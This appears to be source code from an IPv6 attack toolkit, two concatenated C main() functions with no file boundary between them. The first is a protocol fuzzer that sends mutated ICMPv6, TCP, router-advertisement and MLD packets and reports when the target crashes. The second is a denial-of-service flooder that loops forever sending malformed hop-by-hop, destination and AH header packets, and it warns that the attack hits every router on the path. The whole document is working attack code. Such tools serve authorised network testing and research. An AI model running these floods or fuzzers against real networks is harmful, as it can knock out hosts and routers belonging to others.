int main(int argc, char *argv[]) { unsigned char *pkt = NULL, *pkt_bak, *mcast6, *someaddr6 = NULL; unsigned char *dst6, *src6 = NULL, *mac = NULL, *routers[2], string[64] = "ip6 and dst "; int test_start = 0, fragment = 0, alert = 0, sroute = 0; int do_type = DO_PING, do_alive = 1, hopbyhop = 0, destination = 0, jumbo = 0; int pkt_len = 0, offset = 0, test_current = 0, i, j, k, do_fuzz = 1, test_ptr = 0; int test_end = TEST_MAX, ping = NEVER, frag_offset = 0, header = 0, no_send = 1; int test_pos = 0, test_cnt = 0, do_it, extend = 0, mtu = 1500, size = 64, wait = 0, off2 = 14; char *interface, fuzzbuf[256], *srcmac, *dns, *route6, *real_dst6 = NULL; unsigned char buf[256], buf2[100], buf3[16]; unsigned short int *sip; pcap_t *p; thc_ipv6_hdr *hdr; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "s:0123456789Xxt:T:p:FSDHRIJan:")) >= 0) { switch (i) { case 's': do_type = DO_TCP; port = atoi(optarg); break; case '0': do_type = DO_NODEQUERY; break; case '1': do_type = DO_PING; break; case '2': do_type = DO_NEIGHSOL; break; case '3': do_type = DO_NEIGHADV; break; case '4': do_type = DO_RA; break; case '5': do_type = DO_MLD_REP; break; case '6': do_type = DO_MLD_DONE; break; case '7': do_type = DO_MLD_QUERY; wait = 0xff0000; break; case '8': do_type = DO_MLD2_REPORT; break; case '9': do_type = DO_MLD2_QUERY; wait = 0xff0000; break; case 'X': do_type = DO_NONE; break; case 't': test_start = atoi(optarg); break; case 'T': test_end = test_start = atoi(optarg); break; case 'p': ping = atoi(optarg); break; case 'a': do_alive = 0; break; case 'S': sroute = 1; break; case 'n': no_send = atoi(optarg); break; case 'F': fragment = 1; break; case 'R': alert = 1; break; case 'D': destination = 1; break; case 'H': hopbyhop = 1; break; case 'J': jumbo = 1; break; case 'I': header = 1; break; case 'x': extend = 1; break; } } if (argc - optind < 2) { fprintf(stderr, "ERROR: not enough options, interface and target address are required!\n"); exit(-1); } interface = argv[optind]; if ((srcmac = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "ERROR: %s is not a valid interface which has a MAC, use raw mode?\n", interface); exit(-1); } if (no_send < 1) { fprintf(stderr, "ERROR: -n number must be between one and 2 billion\n"); exit(-1); } if (do_hdr_size) { test_pos -= do_hdr_size; offset -= do_hdr_size; off2 = do_hdr_size; } if (do_type != DO_PING && do_type != DO_TCP && do_type != DO_NONE) { if ((mcast6 = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]); exit(-1); } if (do_type == DO_NEIGHSOL) { dst6 = thc_resolve6("ff02::0001:ff00:0000"); memcpy(dst6 + 13, mcast6 + 13, 3); } else dst6 = thc_resolve6("ff02::1"); } else { dst6 = thc_resolve6(argv[optind + 1]); } if (argv[optind + 1] != NULL) if ((real_dst6 = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]); exit(-1); } if (interface == NULL || argv[optind + 1] == NULL) { printf("Error: interface and target-ipv6-address are mandatory command line options\n"); exit(-1); } if (ping < 1 || test_end < test_start) { printf("don't f**k up the command line options!\n"); exit(-1); } if (argv[optind + 2] != NULL) someaddr6 = thc_resolve6(argv[optind + 2]); if (argc - optind > 3) { printf("Error: too many command line options\n"); exit(-1); } if ((mac = thc_get_mac(interface, src6, dst6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } if (do_type == DO_PING || do_type == DO_TCP || do_type == DO_NONE) src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); else src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK); if (src6 == NULL) { fprintf(stderr, "Error: no IPv6 address configured on interface %s\n", interface); exit(-1); } strcat(string, thc_ipv62notation(src6)); if (sroute) { if (someaddr6 != NULL) routers[0] = someaddr6; else routers[0] = dst6; routers[1] = NULL; } setvbuf(stdout, NULL, _IONBF, 0); memset(buf, 0, sizeof(buf)); memset(buf2, 0, sizeof(buf2)); dns = thc_resolve6("ff02::fb"); route6 = thc_resolve6("2a01::"); if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } if (real_dst6 != NULL && real_dst6[0] == 0xff) do_alive = 0; // ping before to check if it works if (do_alive) if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) { // fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[optind + 1]); // exit(-1); } // generate basic packet strcpy(fuzzbuf, fuzztype_ether); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL) return -1; if (header) strcat(fuzzbuf, fuzztype_ip6); else strcat(fuzzbuf, fuzztype_ip6no); if (alert || hopbyhop || jumbo) { memset(buf2, 0, sizeof(buf2)); i = 0; if (alert) { buf2[i++] = 5; buf2[i++] = 2; i += 2; strcat(fuzzbuf, ".F.F"); } if (jumbo) { buf2[i++] = 0xc2; buf2[i++] = 4; buf2[i++] = 'J'; // lookup code buf2[i++] = 'J'; buf2[i++] = 'J'; buf2[i++] = 'J'; strcat(fuzzbuf, ".FBBBB"); } if (hopbyhop) { memset(buf3, 0, sizeof(buf3)); buf3[0] = 'X'; buf3[1] = '.'; for (j = 0; j < 10; j++) { buf2[i++] = 1; // PadN, length buf2[i++] = j; if (j > 0) { memset(buf2 + i, 0xaa, j); buf3[2 + j] = '.'; i += j; } strcat(fuzzbuf, buf3); // always: X... for every new option } } if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, i) < 0) return -1; i += 2; if (i % 8 > 0) i = ((i / 8) + 1) * 8; offset += i; } if (sroute) { if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0) return -1; else { strcat(fuzzbuf, "FFFFBBBB................"); offset += 24; } } if (fragment) { frag_offset = offset; if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, 0) < 0) return -1; else { strcat(fuzzbuf, "FFWW.."); offset += 8; } } if (destination) { memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); buf3[0] = 'X'; buf3[1] = '.'; i = 0; for (j = 0; j < 10; j++) { buf2[i++] = 1; // PadN, length buf2[i++] = j; if (j > 0) { memset(buf2 + i, 0xaa, j); buf3[2 + j] = '.'; i += j; } strcat(fuzzbuf, buf3); // always: X... for every new option } if (thc_add_hdr_dst(pkt, &pkt_len, buf2, i) < 0) return -1; i += 2; if (i % 8 > 0) i = ((i / 8) + 1) * 8; offset += i; } memset(buf, 0, sizeof(buf)); // if (header) strcat(fuzzbuf, fuzztype_icmp6); // else // strcat(fuzzbuf, fuzztype_icmp6no); switch (do_type) { case DO_TCP: // tcp options buf[0] = 2; // max segment size buf[1] = 4; buf[2] = 255; buf[3] = 255; buf[4] = 3; // windows size buf[5] = 3; buf[6] = 62; buf[7] = 1; // padding buf[8] = 8; // timestamp buf[9] = 10; buf[10] = time(NULL) / 16777216; buf[11] = ((time(NULL) / 65536) % 256); buf[12] = ((time(NULL) / 256) % 256); buf[13] = time(NULL) % 256; // 4 bytes ack tstamp 00000000 // rest is padding (2 bytes) if (thc_add_tcp(pkt, &pkt_len, 65532, port, test_current, 0, TCP_SYN, 5760, 0, (unsigned char *) buf, 20, (unsigned char *) buf, 20) < 0) return -1; strcat(fuzzbuf, fuzztype_tcp); break; case DO_PING: if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, test_current, (unsigned char *) &buf, 16, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6ping); break; case DO_NONE: // empty break; case DO_NEIGHSOL: if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); else memcpy(buf, mcast6, 16); buf[16] = 1; buf[17] = 1; memcpy(buf + 18, srcmac, 6); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, (unsigned char *) &buf, 24, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6ns); break; case DO_NEIGHADV: if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); else memcpy(buf, src6, 16); buf[16] = 2; buf[17] = 1; memcpy(buf + 18, srcmac, 6); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, 0xe0000000, (unsigned char *) &buf, 24, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6na); break; case DO_NODEQUERY: memcpy(buf + 8, real_dst6, 16); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NODEQUERY, 0, 0x0003003e, (unsigned char *) &buf, 24, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6nq); break; case DO_RA: // buf[3] = 250; // 0-3: reachable timer buf[6] = 4; // 4-7: retrans timer // option mtu buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; // option prefix buf[16] = 3; buf[17] = 4; buf[18] = size; // prefix length buf[19] = 128 + 64; memset(&buf[20], 17, 4); memset(&buf[24], 4, 4); if (someaddr6 != NULL) memcpy(&buf[32], someaddr6, 16); else memcpy(&buf[32], route6, 16); i = 48; // mac address option buf[i++] = 1; buf[i++] = 1; memcpy(buf + i, srcmac, 6); i += 6; // = 8 == 56 // default route routing option buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = 64; // prefix length /64 buf[i++] = 0x08; // priority, highest of course i += 2; // 52-53 unknown buf[i++] = 0x11; // lifetime, word buf[i++] = 0x11; // lifetime, word buf[i++] = 0x20; buf[i++] = 4; // 56-71 address, 2004:: for default i += 14; // = 24 == 70 // dns option buf[i++] = 0x19; // dns option type buf[i++] = 0x03; // length i += 2; // 74-75 reserved memset(buf + i, 1, 4); // validity time i += 4; if (someaddr6 != NULL) memcpy(buf + i, someaddr6, 16); // dns server else memcpy(buf + i, dns, 16); // dns server i += 16; // = 24 == 94 // seachlist option buf[i++] = 31; buf[i++] = 4; i += 2; memset(buf + i, 1, 4); // validity time i += 4; buf[i++] = 3; memcpy(buf + i, "foo", 3); i += 3; buf[i++] = 4; memcpy(buf + i, "corp", 4); i += 5; // + null byte buf[i++] = 5; memcpy(buf + i, "local", 5); i += 5; buf[i++] = 6; memcpy(buf + i, "domain", 6); i += 7; // + null byte // = 32 == 126 // flag extension option buf[i++] = 26; buf[i++] = 1; buf[i++] = 0x08; i += 5; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6ra); break; case DO_MLD_QUERY: case DO_MLD_DONE: case DO_MLD_REP: buf[0] = 0xff; buf[1] = 0x02; buf[15] = 0x05; if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, wait, buf, 16, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6mld); break; case DO_MLD2_QUERY: buf[0] = 0xff; buf[1] = 0x02; buf[15] = 0x05; if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); buf[16] = 7; buf[17] = 120; buf[19] = 3; memcpy(buf + 20, dst6, 16); memcpy(buf + 36, buf, 16); if (thc_add_icmp6(pkt, &pkt_len, DO_MLD_QUERY, 0, wait, buf, 68, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6mld2que); break; case DO_MLD2_REPORT: for (i = 0; i < 3; i++) { buf[0 + 68 * i] = 1 + i * 2 - i / 2; //include new++, generates 1, 3 and 4 buf[3 + 68 * i] = 3; //3 sources buf[4 + 68 * i] = 0xff; buf[5 + 68 * i] = 0x02; buf[18 + 68 * i] = 0x82 + i % 256; buf[19 + 68 * i] = 0xff; memcpy(buf + 20 + 68 * i, src6, 16); buf[36 + 68 * i] = 0xfe; buf[37 + 68 * i] = 0x80; buf[46 + 68 * i] = 0xf0; if (someaddr6 != NULL) memcpy(buf + 52 + 68 * i, someaddr6, 16); } if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, 3, buf, 208, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6mld2rep); break; default: fprintf(stderr, "ERROR: Mode not implemented yet!\n"); exit(-1); } if (thc_generate_pkt(interface, srcmac, mac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *) pkt; if (jumbo) { i = 0; j = 1; while (i < hdr->pkt_len + 4 && j) { if (hdr->pkt[i] == 'J') if (memcmp(&hdr->pkt[i], "JJJJ", 4) == 0) j = 0; i++; } if (j) { fprintf(stderr, "ERROR: fuckup, cant find my own marker?!\n"); exit(-1); } else i--; hdr->pkt[i] = 0; hdr->pkt[i + 1] = 0; hdr->pkt[i + 2] = hdr->pkt[4 + off2]; hdr->pkt[i + 3] = hdr->pkt[5 + off2]; hdr->pkt[4 + off2] = 0; hdr->pkt[5 + off2] = 0; } if (extend) for (i = 0; i < strlen(fuzzbuf); i++) if (fuzzbuf[i] == 'B' || fuzzbuf[i] == 'F') fuzzbuf[i] = 'X'; // backup of generated packet pkt_bak = malloc(hdr->pkt_len); memcpy(pkt_bak, hdr->pkt, hdr->pkt_len); printf("Fuzzing packet, starting at fuzz case %d, ending at fuzz case %d, every packet sent denoted by a dot:\n", test_start, test_end); //printf("buf(%d): %s\n", strlen(fuzzbuf), fuzzbuf); while (do_fuzz) { if (test_cnt == 0) while (fuzzbuf[test_ptr] == '.') { test_ptr++; test_pos++; } if (fuzzbuf[test_ptr] == 0) do_fuzz = 0; test_cnt++; do_it = 1; //printf("[%s] pos[%d]=%c -> %d | pkt[%d] | %d (%d=>%d)| ", /*fuzzbuf*/"", test_ptr, fuzzbuf[test_ptr], test_cnt, test_pos, test_current, test_start, test_end); switch (fuzzbuf[test_ptr]) { case 0: break; case 'X': if (test_cnt <= COUNT_EXTEND) { if (pkt_bak[test_pos] != extends[test_cnt - 1]) hdr->pkt[test_pos] = extends[test_cnt - 1]; else do_it = 0; } else { test_cnt = 0; test_ptr++; test_pos++; } break; case 'B': if (test_cnt <= COUNT_BYTE) { if (pkt_bak[test_pos] != bytes[test_cnt - 1]) hdr->pkt[test_pos] = bytes[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_BYTE && do_it) { if (bytes[i] == pkt_bak[test_pos]) do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_BYTE + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'F': if (test_cnt <= COUNT_FLAG) { if (pkt_bak[test_pos] != flags[test_cnt - 1]) hdr->pkt[test_pos] = flags[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_FLAG && do_it) { if (bytes[i] == pkt_bak[test_pos]) // yes, bytes[] is the right one even for flags do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_FLAG + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'W': sip = (unsigned short int *) &pkt_bak[test_pos]; if (test_cnt <= COUNT_WORD) { if (*sip != words[test_cnt - 1]) memcpy((char *) &hdr->pkt[test_pos], (char *) &words[test_cnt - 1] + _TAKE2, 2); else do_it = 0; } else { i = 0; while (i < COUNT_WORD && do_it) { if (words[i] == *sip) do_it = 0; i++; } if (do_it) { i = *sip ^ xors[test_cnt - COUNT_WORD - 1]; sip = (unsigned short int *) &hdr->pkt[test_pos]; *sip = i % 65536; } } if (test_cnt == COUNT_WORD + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos += 2; } break; default: fprintf(stderr, "This character should not be in the fuzz string, shoot the programmer: %c(%d) position %d string %s\n", fuzzbuf[test_ptr], fuzzbuf[test_ptr], test_ptr, fuzzbuf); exit(-1); break; } if (do_it && do_fuzz) { if (test_current >= test_start && test_current <= test_end && do_fuzz) { // fill icmp id+seq and unique buffer with test case number if (fragment) memcpy(hdr->pkt + frag_offset + 58, (char *) &test_current + _TAKE4, 4); switch (do_type) { case DO_NONE: // empty break; case DO_PING: for (i = 0; i < 4 + 1; i++) memcpy(hdr->pkt + offset + 58 + i * 4, (char *) &test_current + _TAKE4, 4); break; case DO_TCP: memcpy(hdr->pkt + offset + 58, (char *) &test_current + _TAKE4, 4); break; case DO_NEIGHSOL: case DO_NEIGHADV: break; // do nothing for these case DO_NODEQUERY: memcpy(hdr->pkt + offset + 66, (char *) &test_current + _TAKE4, 4); break; case DO_RA: memcpy(hdr->pkt + offset + 0x62, (char *) &test_current + _TAKE4, 4); // prefix update memcpy(hdr->pkt + offset + 0x7e, hdr->pkt + offset + 0x5e, 16); // routing update memcpy(hdr->pkt + 8, (char *) &test_current + _TAKE4, 4); // srcmac update memcpy(hdr->pkt + offset + 0x72, (char *) &test_current + _TAKE4, 4); // srcmac update memcpy(hdr->pkt + 0x10 + off2, (char *) &test_current + _TAKE4, 4); // srcip update memcpy(hdr->original_src, hdr->pkt + 8 + off2, 16); // srcip update for checksum break; case DO_MLD_QUERY: case DO_MLD_DONE: case DO_MLD_REP: case DO_MLD2_QUERY: memcpy(hdr->pkt + offset + 0x4a, (char *) &test_current + _TAKE4, 4); break; case DO_MLD2_REPORT: //??? XXX TODO CHECK memcpy(hdr->pkt + offset + 0x4d, (char *) &test_current + _TAKE4, 4); memcpy(hdr->pkt + offset + 0x4d + 68, (char *) &test_current + _TAKE4, 4); memcpy(hdr->pkt + offset + 0x4d + 136, (char *) &test_current + _TAKE4, 4); break; default: fprintf(stderr, "ERROR!!!\n"); exit(-1); } // regenerate checksum if (do_type != DO_TCP && do_type != DO_NONE) { // maybe for later non-icmp stuff hdr->pkt[offset + 56] = 0; hdr->pkt[offset + 57] = 0; i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_ICMP6, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54); hdr->pkt[offset + 56] = i / 256; hdr->pkt[offset + 57] = i % 256; } else { // TCP hdr->pkt[offset + 70] = 0; hdr->pkt[offset + 71] = 0; i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_TCP, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54); hdr->pkt[offset + 70] = i / 256; hdr->pkt[offset + 71] = i % 256; } // send packet for (k = 0; k < no_send; k++) { while(thc_send_pkt(interface, pkt, &pkt_len) < 0) usleep(1); } printf("."); usleep(250); // if ping, check ping again if ((test_current - test_start) % ping == 0 && test_current != 0 && test_start != test_current) if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) { i = ((((test_current - test_start) / ping) - 1) * ping) + test_start + 1; printf("\nResult: target %s crashed during fuzzing, offending test case no. could be %d to %d\n", argv[optind + 1], i < 0 ? 0 : i, test_current); exit(1); } } //else printf("NOT SENT - NOT IN TEST LIST\n"); // reset to basic packet memcpy(hdr->pkt, pkt_bak, hdr->pkt_len); test_current++; } //else printf("NOT SENT!\n"); } printf("\n"); // ping afterwards to check if it worked if (do_alive) { if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) { printf("Result: target %s is NOT alive via direct ping6 - good work! (position: %d)\n", argv[optind + 1], test_pos); exit(1); } else printf("Result: target %s is still alive via direct ping6, better luck next time.\n", argv[optind + 1]); } thc_pcap_close(p); return 0; }
int main(int argc, char *argv[]) { int test = 0, count = 1, tmplen; unsigned char buf[65536], bla[1500], tests[256]; unsigned char *dst6, *ldst6 = malloc(16), *src6, *lsrc6, *mcast6, *route6, *mal; unsigned char *srcmac = NULL, *dstmac = NULL, *routers[2], null_buffer[6]; thc_ipv6_hdr *hdr; int i, j, k, srcmtu, fragsize; unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL; int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0, noping = 0, mtu = 1500; char *interface, *randptr = NULL; thc_ipv6_hdr *ipv6; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } interface = argv[1]; if ((dst6 = thc_resolve6(argv[2])) == NULL) { fprintf(stderr, "Error: invalid target: %s\n", argv[2]); exit(-1); } //route6 = thc_resolve6("2a01::"); memcpy(ldst6, dst6, 16); memset(ldst6 + 2, 0, 6); ldst6[0] = 0xfe; ldst6[1] = 0x80; mcast6 = thc_resolve6("ff02::1"); if (argc >= 4) test = atoi(argv[3]); memset(null_buffer, 0, sizeof(null_buffer)); src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); if ((lsrc6 = thc_get_own_ipv6(interface, ldst6, PREFER_LINK)) == NULL) { fprintf(stderr, "Error: invalid interface: %s\n", interface); exit(-1); } srcmac = thc_get_own_mac(interface); if (rawmode == 0) { if ((dstmac = thc_get_mac(interface, src6, dst6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } } else dstmac = null_buffer; if ((srcmtu = thc_get_mtu(interface)) <= 0) { fprintf(stderr, "ERROR: can not get mtu from interface %s\n", interface); exit(-1); } fragsize = ((srcmtu - 62) / 8) * 8; setvbuf(stdout, NULL, _IONBF, 0); memset(buf, 0, sizeof(buf)); memset(tests, 0, sizeof(tests)); memset(bla, 0, sizeof(bla)); if (test < 1 || test > MAX_TEST) { printf("%s %s (c) 2014 by %s %s\n\n", argv[0], VERSION, AUTHOR, RESOURCE); printf("Syntax: %s interface destination test-case-number\n\n", argv[0]); printf("The following test cases are currently implemented:\n"); printf(" 1 : large hop-by-hop header with router-alert and filled with unknown options\n"); printf(" 2 : large destination header filled with unknown options\n"); printf(" 3 : hop-by-hop header with router alert option plus 180 headers\n"); printf(" 4 : hop-by-hop header with router alert option plus 178 headers + ping\n"); printf(" 5 : AH header + ping\n"); printf(" 6 : first fragments of a ping with a hop-by-hop header with router alert\n"); printf(" 7 : large hop-by-hop header filled with unknown options (no router alert)\n"); exit(0); } printf("Performing denial of service test case no. %d attack on %s via %s:\n", test, argv[2], argv[1]); printf("A \".\" is shown for every 1000 packets sent, press Control-C to end...\n"); /********************** TEST CASE PREPARATION *************************/ if (test == count) { // 1432 printf("Test %d: large hop-by-hop header with router-alert and filled with unknown options.\n", count); printf("WARNING: this attack affects all routers on the network path to the target!!\n"); sleep(3); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 5; buf[1] = 2; j = 4; i = 1; while (i <= 67) { k = (i % 63) + 1; buf[j] = k; switch (k) { case 38: // quickstart buf[j + 1] = 7; // length buf[j + 2] = 1; // request type + rate buf[j + 3] = 60; //qs-ttl buf[j + 4] = 8; // nonce j += 9; break; case 4: buf[j + 1] = 1; j += 3; break; case 0: case 5: buf[j] = 1; // fall through default: buf[j + 1] = 4; j += 6; } // j += buf[j + 1] + 2; i++; } // for (i = 1; i < 236; i++) { // buf[i * 6 - 2] = (i % 63) + 1; // buf[i * 6 - 1] = 4; // } if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, j) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; } count++; if (test == count) { // 1432 printf("Test %d: large destination header filled with unknown options.\n", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; for (i = 1; i < 237; i++) { buf[6 + i * 6] = (i % 63) + 1; buf[5 + i * 6] = 4; } if (thc_add_hdr_dst(pkt, &pkt_len, buf, 1416) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; } count++; if (test == count) { j = (thc_get_mtu(interface) - 48) / 8; if (j < 150 || j > 8000) { fprintf(stderr, "Error: invalid MTU on interface\n"); exit(-1); } printf("Test %d: hop-by-hop header with router alert option plus %d headers.\n", count, j); printf("WARNING: this attack affects all routers on the network path to the target!!\n"); sleep(3); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 5; buf[1] = 2; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) < 0) return -1; memset(buf, 0, 2); for (i = 0; i < j; i++) if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) < 0) return -1; // thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; } count++; if (test == count) { j = (thc_get_mtu(interface) - 64) / 8; if (j < 150 || j > 8000) { fprintf(stderr, "Error: invalid MTU on interface\n"); exit(-1); } printf("Test %d: hop-by-hop header with router alert option plus %d headers plus ping.\n", count, j); printf("WARNING: this attack affects all routers on the network path to the target!!\n"); sleep(3); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 5; buf[1] = 2; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) < 0) return -1; memset(buf, 0, 2); for (i = 0; i < j; i++) if (thc_add_hdr_dst(pkt, &pkt_len, buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; } count++; if (test == count) { printf("Test %d: AH header plus ping.\n", count); printf("WARNING: this attack affects all routers on the network path to the target!!\n"); sleep(3); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_hdr_misc(pkt, &pkt_len, NXT_AH, -1, (unsigned char *) &buf, 6 + 8) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; ipv6 = (thc_ipv6_hdr *) pkt; if (do_hdr_size != 0) ipv6->pkt[do_hdr_size + 40 + 1] = 2; else ipv6->pkt[14 + 40 + 1] = 2; } count++; if (test == count) { printf("Test %d: first ping fragment with hop-by-hop and router alert.\n", count); printf("WARNING: this attack affects all routers on the network path to the target!!\n"); sleep(3); buf[0] = 5; buf[1] = 2; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, (unsigned char *) &buf, 6) < 0) return -1; if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 1, 0xfacebabe + getpid() + count)) return -1; buf[0] = ICMP6_MLD_REPORT; buf[1] = 0; buf[2] = 0xb0; buf[3] = 0x0b; if (thc_add_data6(pkt, &pkt_len, NXT_ICMP6, buf, 14)) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; ipv6 = (thc_ipv6_hdr *) pkt; if (do_hdr_size != 0) randptr = ipv6->pkt + do_hdr_size + 40 + 8 + 4; else randptr = ipv6->pkt + 14 + 40 + 8 + 4; } count++; if (test == count) { // 1432 printf("Test %d: large hop-by-hop header with filled with unknown options (no router alert).\n", count); printf("WARNING: this attack affects all routers on the network path to the target!!\n"); sleep(3); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; j = 0; i = 1; while (i <= 67) { k = (i % 63) + 1; buf[j] = k; switch (k) { case 38: // quickstart buf[j + 1] = 7; // length buf[j + 2] = 1; // request type + rate buf[j + 3] = 60; //qs-ttl buf[j + 4] = 8; // nonce j += 9; break; case 4: buf[j + 1] = 1; j += 3; break; case 0: case 5: buf[j] = 1; // fall through default: buf[j + 1] = 4; j += 6; } // j += buf[j + 1] + 2; i++; } // for (i = 1; i < 236; i++) { // buf[i * 6 - 2] = (i % 63) + 1; // buf[i * 6 - 1] = 4; // } if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, j) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; } count++; if (test == count) { // dummy entry // code fprintf(stderr, "to implement\n"); exit(-1); } count++; /******************* END OF TESTCASE PREPARATION **************************/ count = 0; while (1) { thc_send_pkt(interface, pkt, &pkt_len); usleep(1); count++; if (randptr != NULL) memcpy(randptr, (char*)&count + _TAKE4, 4); if (count % 1000 == 0) printf("."); } return 0; }